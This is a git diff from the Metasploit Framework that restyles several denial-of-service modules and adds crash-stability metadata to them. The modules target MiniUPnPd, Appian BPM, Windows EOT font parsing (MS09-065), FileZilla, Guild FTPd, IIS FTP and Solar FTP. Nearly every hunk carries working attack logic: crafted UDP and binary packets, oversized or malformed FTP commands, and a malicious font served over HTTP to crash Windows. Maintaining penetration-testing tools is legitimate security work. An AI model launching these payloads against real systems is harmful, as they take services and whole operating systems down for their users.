b/modules/auxiliary/dos/upnp/miniupnpd_dos.rb @@ -8,40 +8,47 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'MiniUPnPd 1.4 Denial of Service (DoS) Exploit', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'MiniUPnPd 1.4 Denial of Service (DoS) Exploit', + 'Description' => %q{ This module allows remote attackers to cause a denial of service (DoS) in MiniUPnP 1.0 server via a specifically crafted UDP request. - }, - 'Author' => - [ + }, + 'Author' => [ 'hdm', # Vulnerability discovery 'Dejan Lukan' # Metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2013-0229' ], [ 'OSVDB', '89625' ], [ 'BID', '57607' ], [ 'URL', 'https://www.rapid7.com/blog/post/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play/' ], [ 'URL', 'https://www.hdm.io/writing/SecurityFlawsUPnP.pdf' ] ], - 'DisclosureDate' => '2013-03-27', - )) + 'DisclosureDate' => '2013-03-27', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( - [ - Opt::RPORT(1900), - OptInt.new('ATTEMPTS', [true, 'Max number of attempts to DoS the remote MiniUPnP ending', 3 ]) - ]) + [ + Opt::RPORT(1900), + OptInt.new('ATTEMPTS', [true, 'Max number of attempts to DoS the remote MiniUPnP ending', 3 ]) + ] + ) end def send_probe(udp_sock, probe) udp_sock.put(probe) data = udp_sock.recvfrom - if data and not data[0].empty? + if data && !data[0].empty? return data[0] else return nil @@ -61,12 +68,11 @@ def run # ST line sploit = "M-SEARCH * HTTP/1.1\r\n" sploit << "HOST: 239.255.255.250:1900\r\n" - sploit << "ST:uuid:schemas:device:MX:3" + sploit << 'ST:uuid:schemas:device:MX:3' # the packet can be at most 1500 bytes long, so add appropriate number of ' ' or '\t' # this makes the DoS exploit more probable, since we're occupying the stack with arbitrary # characters: there's more chance that the program will run off the stack. - sploit += ' '*(1500-sploit.length) - + sploit += ' ' * (1500 - sploit.length) # connect to the UDP port connect_udp @@ -79,7 +85,7 @@ def run return end - (1..datastore['ATTEMPTS']).each { |attempt| + (1..datastore['ATTEMPTS']).each do |attempt| print_status("#{rhost}:#{rport} - UPnP DoS attempt #{attempt}...") # send the exploit to the target @@ -92,11 +98,11 @@ def run if response.nil? print_good("#{rhost}:#{rport} - UPnP unresponsive") disconnect_udp - return + break else print_status("#{rhost}:#{rport} - UPnP is responsive still") end - } + end disconnect_udp end diff --git a/modules/auxiliary/dos/windows/appian/appian_bpm.rb b/modules/auxiliary/dos/windows/appian/appian_bpm.rb index 4d94661797567..b57127f823823 100644 --- a/modules/auxiliary/dos/windows/appian/appian_bpm.rb +++ b/modules/auxiliary/dos/windows/appian/appian_bpm.rb @@ -8,23 +8,30 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Appian Enterprise Business Suite 5.6 SP1 DoS', - 'Description' => %q{ - This module exploits a denial of service flaw in the Appian - Enterprise Business Suite service. - }, + super( + update_info( + info, + 'Name' => 'Appian Enterprise Business Suite 5.6 SP1 DoS', + 'Description' => %q{ + This module exploits a denial of service flaw in the Appian + Enterprise Business Suite service. + }, - 'Author' => [ 'guiness.stout ' ], - 'License' => BSD_LICENSE, - 'References' => - [ + 'Author' => [ 'guiness.stout ' ], + 'License' => BSD_LICENSE, + 'References' => [ ['CVE', '2007-6509'], ['OSVDB', '39500'], ['URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2007-12/0440.html'] ], - 'DisclosureDate' => '2007-12-17' - )) + 'DisclosureDate' => '2007-12-17', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([Opt::RPORT(5400),]) end @@ -36,50 +43,50 @@ def run # mod: randomize the static "saint" strings from the PoC - hdm req = - "\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ + "\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00" + Rex::Text.rand_text_alpha(2) + - "\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x31\x35\x39\x36\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x04\x03\x01\x06\x0a\x09\x01\x01\x00\x00\x00\x00\x00"+ + "\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x31\x35\x39\x36\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x04\x03\x01\x06\x0a\x09\x01\x01\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00" + Rex::Text.rand_text_alpha(5) + - "\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ + "\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x05" + Rex::Text.rand_text_alpha(5) + - "\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x0a\x05\x00\x00\x00\x43\x54\x2d\x4c\x69\x62\x72\x61\x72\x79"+ - "\x0a\x05\x00\x00\x00\x00\x0d\x11\x00\x73\x5f\x65\x6e\x67\x6c\x69"+ - "\x73\x68\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x02\x01\x00\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x69\x73\x6f"+ - "\x5f\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x35\x31\x32"+ - "\x00\x00\x00\x03\x00\x00\x00\x00\xe2\x16\x00\x01\x09\x06\x08\x33"+ - "\x6d\x7f\xff\xff\xff\xfe\x02\x09\x00\x00\x00\x00\x0a\x68\x00\x00"+ + "\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x0a\x05\x00\x00\x00\x43\x54\x2d\x4c\x69\x62\x72\x61\x72\x79" \ + "\x0a\x05\x00\x00\x00\x00\x0d\x11\x00\x73\x5f\x65\x6e\x67\x6c\x69" \ + "\x73\x68\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x02\x01\x00\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x69\x73\x6f" \ + "\x5f\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x35\x31\x32" \ + "\x00\x00\x00\x03\x00\x00\x00\x00\xe2\x16\x00\x01\x09\x06\x08\x33" \ + "\x6d\x7f\xff\xff\xff\xfe\x02\x09\x00\x00\x00\x00\x0a\x68\x00\x00" \ "\x00" print_status('Sending exploit...') diff --git a/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb b/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb index 9aefda089334c..413b3ce9bdc33 100644 --- a/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb +++ b/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb @@ -7,31 +7,37 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft Windows EOT Font Table Directory Integer Overflow', - 'Description' => %q{ - This module exploits an integer overflow flaw in the Microsoft Windows Embedded - OpenType font parsing code located in win32k.sys. Since the kernel itself parses - embedded web fonts, it is possible to trigger a BSoD from a normal web page when - viewed with Internet Explorer. - }, - 'License' => MSF_LICENSE, - 'Author' => 'hdm', - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Microsoft Windows EOT Font Table Directory Integer Overflow', + 'Description' => %q{ + This module exploits an integer overflow flaw in the Microsoft Windows Embedded + OpenType font parsing code located in win32k.sys. Since the kernel itself parses + embedded web fonts, it is possible to trigger a BSoD from a normal web page when + viewed with Internet Explorer. + }, + 'License' => MSF_LICENSE, + 'Author' => 'hdm', + 'References' => [ [ 'CVE', '2009-2514' ], [ 'MSB', 'MS09-065' ], [ 'OSVDB', '59869'] ], - 'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]], - 'PassiveActions' => [ 'WebServer' ], - 'DefaultAction' => 'WebServer', - 'DisclosureDate' => '2009-11-10' - )) + 'Actions' => [[ 'WebServer', { 'Description' => 'Serve exploit via web server' } ]], + 'PassiveActions' => [ 'WebServer' ], + 'DefaultAction' => 'WebServer', + 'DisclosureDate' => '2009-11-10', + 'Notes' => { + 'Stability' => [CRASH_OS_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ - OptPath.new('EOTFILE', [ true, "The EOT template to use to generate the trigger", File.join(Msf::Config.data_directory, "exploits", "pricedown.eot")]), + OptPath.new('EOTFILE', [ true, 'The EOT template to use to generate the trigger', File.join(Msf::Config.data_directory, 'exploits', 'pricedown.eot')]), ]) - end def run @@ -42,7 +48,7 @@ def on_request_uri(cli, request) @tag ||= Rex::Text.rand_text_alpha(8) @eot ||= ::File.read(datastore['EOTFILE'], ::File.size(datastore['EOTFILE']), mode: 'rb') - if(request.uri =~ /#{@tag}$/) + if (request.uri =~ /#{@tag}$/) content = @eot.dup # Only this table entry seems to trigger the bug @@ -53,25 +59,25 @@ def on_request_uri(cli, request) clen = (0xfffffffe - coff + 0xcc) # Patch in the modified offset and length values - content[cidx + 8, 8] = [ coff, clen ].pack("N*") + content[cidx + 8, 8] = [ coff, clen ].pack('N*') # Send the font on its merry way - print_status("Sending embedded font...") + print_status('Sending embedded font...') send_response_html(cli, content, { 'Content-Type' => 'application/octet-stream' }) else - var_title = Rex::Text.rand_text_alpha(6 + rand(32)) - var_body = Rex::Text.rand_text_alpha(64 + rand(32)) - var_font = Rex::Text.rand_text_alpha(2 + rand(6)) - var_face = Rex::Text.rand_text_alpha(2 + rand(32)) + var_title = Rex::Text.rand_text_alpha(6..37) + var_body = Rex::Text.rand_text_alpha(64..95) + var_font = Rex::Text.rand_text_alpha(2..7) + var_face = Rex::Text.rand_text_alpha(2..33) - content = %Q|#{var_title} #{var_body} | - print_status("Sending HTML page with embedded font...") + print_status('Sending HTML page with embedded font...') send_response_html(cli, content, { 'Content-Type' => 'text/html' }) end end diff --git a/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb b/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb index b022d9f2db875..202ae800b82c5 100644 --- a/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb +++ b/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb @@ -8,34 +8,42 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'FileZilla FTP Server Admin Interface Denial of Service', - 'Description' => %q{ - This module triggers a Denial of Service condition in the FileZilla FTP - Server Administration Interface in versions 0.9.4d and earlier. - By sending a procession of excessively long USER commands to the FTP - Server, the Administration Interface (FileZilla Server Interface.exe) - when running, will overwrite the stack with our string and generate an - exception. The FileZilla FTP Server itself will continue functioning. - }, - 'Author' => [ 'aushack' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'FileZilla FTP Server Admin Interface Denial of Service', + 'Description' => %q{ + This module triggers a Denial of Service condition in the FileZilla FTP + Server Administration Interface in versions 0.9.4d and earlier. + By sending a procession of excessively long USER commands to the FTP + Server, the Administration Interface (FileZilla Server Interface.exe) + when running, will overwrite the stack with our string and generate an + exception. The FileZilla FTP Server itself will continue functioning. + }, + 'Author' => [ 'aushack' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'BID', '15346' ], [ 'CVE', '2005-3589' ], [ 'EDB', '1336' ], [ 'OSVDB', '20817' ] ], - 'DisclosureDate' => '2005-11-07')) + 'DisclosureDate' => '2005-11-07', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) end def run - print_status("Sending 4000 packets, this may take a while.") + print_status('Sending 4000 packets, this may take a while.') 4000.times do |x| connect - sock.put("USER #{"A" * x}\r\n") + sock.put("USER #{'A' * x}\r\n") disconnect end end diff --git a/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb b/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb index f2428589610db..7d9c1af17099b 100644 --- a/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb +++ b/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb @@ -8,38 +8,46 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'FileZilla FTP Server Malformed PORT Denial of Service', - 'Description' => %q{ - This module triggers a Denial of Service condition in the FileZilla FTP - Server versions 0.9.21 and earlier. By sending a malformed PORT command - then LIST command, the server attempts to write to a NULL pointer. - }, - 'Author' => [ 'aushack' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'FileZilla FTP Server Malformed PORT Denial of Service', + 'Description' => %q{ + This module triggers a Denial of Service condition in the FileZilla FTP + Server versions 0.9.21 and earlier. By sending a malformed PORT command + then LIST command, the server attempts to write to a NULL pointer. + }, + 'Author' => [ 'aushack' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'BID', '21542' ], [ 'BID', '21549' ], [ 'CVE', '2006-6565' ], [ 'EDB', '2914' ], [ 'OSVDB', '34435' ] ], - 'DisclosureDate' => '2006-12-11')) + 'DisclosureDate' => '2006-12-11', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) end def run begin c = connect_login rescue Rex::ConnectionRefused - print_error("Connection refused.") + print_error('Connection refused.') return rescue Rex::ConnectionTimeout - print_error("Connection timed out") + print_error('Connection timed out') return end - return if not c + return if !c send_cmd(['PASV', 'A*'], true) # Assigns PASV port send_cmd(['PORT', 'A*'], true) # Rejected but seems to assign NULL to pointer diff --git a/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb b/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb index 77bbc5877a2c2..3d9d0ab1f9235 100644 --- a/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb +++ b/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb @@ -8,22 +8,30 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Guild FTPd 0.999.8.11/0.999.14 Heap Corruption', - 'Description' => %q{ - Guild FTPd 0.999.8.11 and 0.999.14 are vulnerable - to heap corruption. You need to have a valid login - so you can run CWD and LIST. - }, - 'Author' => 'kris katterjohn', - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Guild FTPd 0.999.8.11/0.999.14 Heap Corruption', + 'Description' => %q{ + Guild FTPd 0.999.8.11 and 0.999.14 are vulnerable + to heap corruption. You need to have a valid login + so you can run CWD and LIST. + }, + 'Author' => 'kris katterjohn', + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2008-4572' ], [ 'OSVDB', '49045' ], [ 'EDB', '6738'] ], - 'DisclosureDate' => '2008-10-12')) + 'DisclosureDate' => '2008-10-12', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) # They're required register_options([ @@ -35,11 +43,11 @@ def initialize(info = {}) def run return unless connect_login - print_status("Sending commands...") + print_status('Sending commands...') # We want to try to wait for responses to these - resp = send_cmd(['CWD', '/.' * 124]) - resp = send_cmd(['LIST', 'X' * 100]) + send_cmd(['CWD', '/.' * 124]) + send_cmd(['LIST', 'X' * 100]) disconnect end diff --git a/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb b/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb index 2995903e9bf29..bd3b6af35e201 100644 --- a/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb +++ b/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb @@ -8,24 +8,24 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft IIS FTP Server Encoded Response Overflow Trigger', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Microsoft IIS FTP Server Encoded Response Overflow Trigger', + 'Description' => %q{ This module triggers a heap overflow when processing a specially crafted - FTP request containing Telnet IAC (0xff) bytes. When constructing the response, - the Microsoft IIS FTP Service overflows the heap buffer with 0xff bytes. - - This issue can be triggered pre-auth and may in fact be exploitable for - remote code execution. - }, - 'Author' => - [ - 'Matthew Bergin', # Original discovery/disclosure - 'jduck' # Metasploit module + FTP request containing Telnet IAC (0xff) bytes. When constructing the response, + the Microsoft IIS FTP Service overflows the heap buffer with 0xff bytes. + + This issue can be triggered pre-auth and may in fact be exploitable for + remote code execution. + }, + 'Author' => [ + 'Matthew Bergin', # Original discovery/disclosure + 'jduck' # Metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2010-3972' ], [ 'OSVDB', '70167' ], [ 'BID', '45542' ], @@ -33,15 +33,22 @@ def initialize(info = {}) [ 'EDB', '15803' ], [ 'URL', 'https://msrc-blog.microsoft.com/2010/12/22/assessing-an-iis-ftp-7-5-unauthenticated-denial-of-service-vulnerability/' ] ], - 'DisclosureDate' => '2010-12-21')) + 'DisclosureDate' => '2010-12-21', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ Opt::RPORT(21) - ]) + ] + ) end - def run connect @@ -51,18 +58,19 @@ def run buf = Rex::Text.pattern_create(1024) # the 0xff's must be doubled, the server will un-and-re-double them. - ffs = "\xff" * (0x7e*2) + ffs = "\xff" * (0x7e * 2) # Continuing after the first exception sometimes leads to this being dereferenced. - buf[0,3] = [0xdeadbe00].pack('V')[1,3] + buf[0, 3] = [0xdeadbe00].pack('V')[1, 3] - buf[4,ffs.length] = ffs + buf[4, ffs.length] = ffs buf << "\r\n" sock.put(buf) disconnect - rescue ::Rex::ConnectionError + rescue ::Rex::ConnectionError => e + vprint_error(e.message) end end diff --git a/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb b/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb index 76b337e1ae389..4f2fc9a7a6305 100644 --- a/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb +++ b/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb @@ -3,55 +3,64 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft IIS FTP Server LIST Stack Exhaustion', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Microsoft IIS FTP Server LIST Stack Exhaustion', + 'Description' => %q{ This module triggers Denial of Service condition in the Microsoft Internet - Information Services (IIS) FTP Server 5.0 through 7.0 via a list (ls) -R command - containing a wildcard. For this exploit to work in most cases, you need 1) a valid - ftp account: either read-only or write-access account 2) the "FTP Publishing" must - be configured as "manual" mode in startup type 3) there must be at least one - directory under FTP root directory. If your provided an FTP account has write-access - privilege and there is no single directory, a new directory with random name will be - created prior to sending exploit payload. - }, - 'Author' => - [ + Information Services (IIS) FTP Server 5.0 through 7.0 via a list (ls) -R command + containing a wildcard. For this exploit to work in most cases, you need 1) a valid + ftp account: either read-only or write-access account 2) the "FTP Publishing" must + be configured as "manual" mode in startup type 3) there must be at least one + directory under FTP root directory. If your provided an FTP account has write-access + privilege and there is no single directory, a new directory with random name will be + created prior to sending exploit payload. + }, + 'Author' => [ 'Kingcope', # Initial discovery - 'Myo Soe' # Metasploit Module (http://yehg.net) + 'Myo Soe' # Metasploit Module (http://yehg.net) ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2009-2521'], [ 'BID', '36273'], [ 'OSVDB', '57753'], [ 'MSB', 'MS09-053'], [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2009-09/0040.html'] ], - 'DisclosureDate' => '2009-09-03')) + 'DisclosureDate' => '2009-09-03', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) end def run # Attempt to crash IIS FTP begin return unless connect_login + print_status('Checking if there is at least one directory ...') - res = send_cmd_data(['ls'],'') + res = send_cmd_data(['ls'], '') - if res.to_s =~ /\ / then + if res.to_s =~ / / print_status('Directory found, skipped creating a directory') else print_status('No single directory found') print_status('Attempting to create a directory ...') new_dir = Rex::Text.rand_text_alphanumeric(6) - res = send_cmd(['mkd',new_dir]) - if res =~ /directory created/ then + res = send_cmd(['mkd', new_dir]) + if res =~ /directory created/ print_status("New directory \"#{new_dir}\" was created!") else print_error('Write-access was denied') @@ -61,54 +70,56 @@ def run end end - print_status("Sending DoS packets ...") - res = send_cmd_datax(['ls','-R */../'],' ') + print_status('Sending DoS packets ...') + send_cmd_datax(['ls', '-R */../'], ' ') disconnect rescue ::Interrupt - raise $! + raise $ERROR_INFO rescue ::Rex::ConnectionRefused - print_error("Cannot connect. The server is not running.") + print_error('Cannot connect. The server is not running.') return rescue Rex::ConnectionTimeout - print_error("Cannot connect. The connection timed out.") + print_error('Cannot connect. The connection timed out.') return - rescue + rescue StandardError => e + vprint_error(e.message) end - #More careful way to check DOS + # More careful way to check DOS print_status("Checking server's status...") begin connect_login disconnect - print_error("DOS attempt failed. The service is still running.") - rescue - print_good("Success! Service is down") + print_error('DOS attempt failed. The service is still running.') + rescue StandardError + print_good('Success! Service is down') end end # Workaround: modified send_cmd_data function with short sleep time before data_disconnect call # Bug Tracker: 4868 - def send_cmd_datax(args, data, mode = 'a', nsock = self.sock) - args[0] = "LIST" + def send_cmd_datax(args, _data, mode = 'a', nsock = sock) + args[0] = 'LIST' # Set the transfer mode and connect to the remove server - return nil if not data_connect(mode) + return nil if !data_connect(mode) + # Our pending command should have got a connection now. res = send_cmd(args, true, nsock) # make sure could open port return nil unless res =~ /^(150|125) / + # dispatch to the proper method begin - data = self.datasocket.get_once(-1, ftp_timeout) + res = datasocket.get_once(-1, ftp_timeout) rescue ::EOFError - data = nil + res = nil end - select(nil,nil,nil,1) + select(nil, nil, nil, 1) # close data channel so command channel updates data_disconnect # get status of transfer - ret = nil ret = recv_ftp_resp(nsock) - ret = [ ret, data ] + ret = [ ret, res ] ret end end diff --git a/modules/auxiliary/dos/windows/ftp/solarftp_user.rb b/modules/auxiliary/dos/windows/ftp/solarftp_user.rb index 283a8c3cd21b7..f2bb674497289 100644 --- a/modules/auxiliary/dos/windows/ftp/solarftp_user.rb +++ b/modules/auxiliary/dos/windows/ftp/solarftp_user.rb @@ -7,32 +7,40 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos - def initialize(info={}) - super(update_info(info, - 'Name' => 'Solar FTP Server Malformed USER Denial of Service', - 'Description' => %q{ - This module will send a format string as USER to Solar FTP, causing a - READ violation in function "__output_1()" found in "sfsservice.exe" - while trying to calculate the length of the string. This vulnerability - affects versions 2.1.1 and earlier. - }, - 'Author' => - [ - 'x000 <3d3n[at]hotmail.com.br>', # Initial disclosure/exploit - 'C4SS!0 G0M3S ', # Metasploit submission - 'sinn3r', # Metasploit edit/commit - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'EDB', '16204' ], - ], - 'DisclosureDate' => '2011-02-22')) + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Solar FTP Server Malformed USER Denial of Service', + 'Description' => %q{ + This module will send a format string as USER to Solar FTP, causing a + READ violation in function "__output_1()" found in "sfsservice.exe" + while trying to calculate the length of the string. This vulnerability + affects versions 2.1.1 and earlier. + }, + 'Author' => [ + 'x000 <3d3n[at]hotmail.com.br>', # Initial disclosure/exploit + 'C4SS!0 G0M3S ', # Metasploit submission + 'sinn3r', # Metasploit edit/commit + ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'EDB', '16204' ], + ], + 'DisclosureDate' => '2011-02-22', + 'Notes' => { + 'Stability' => 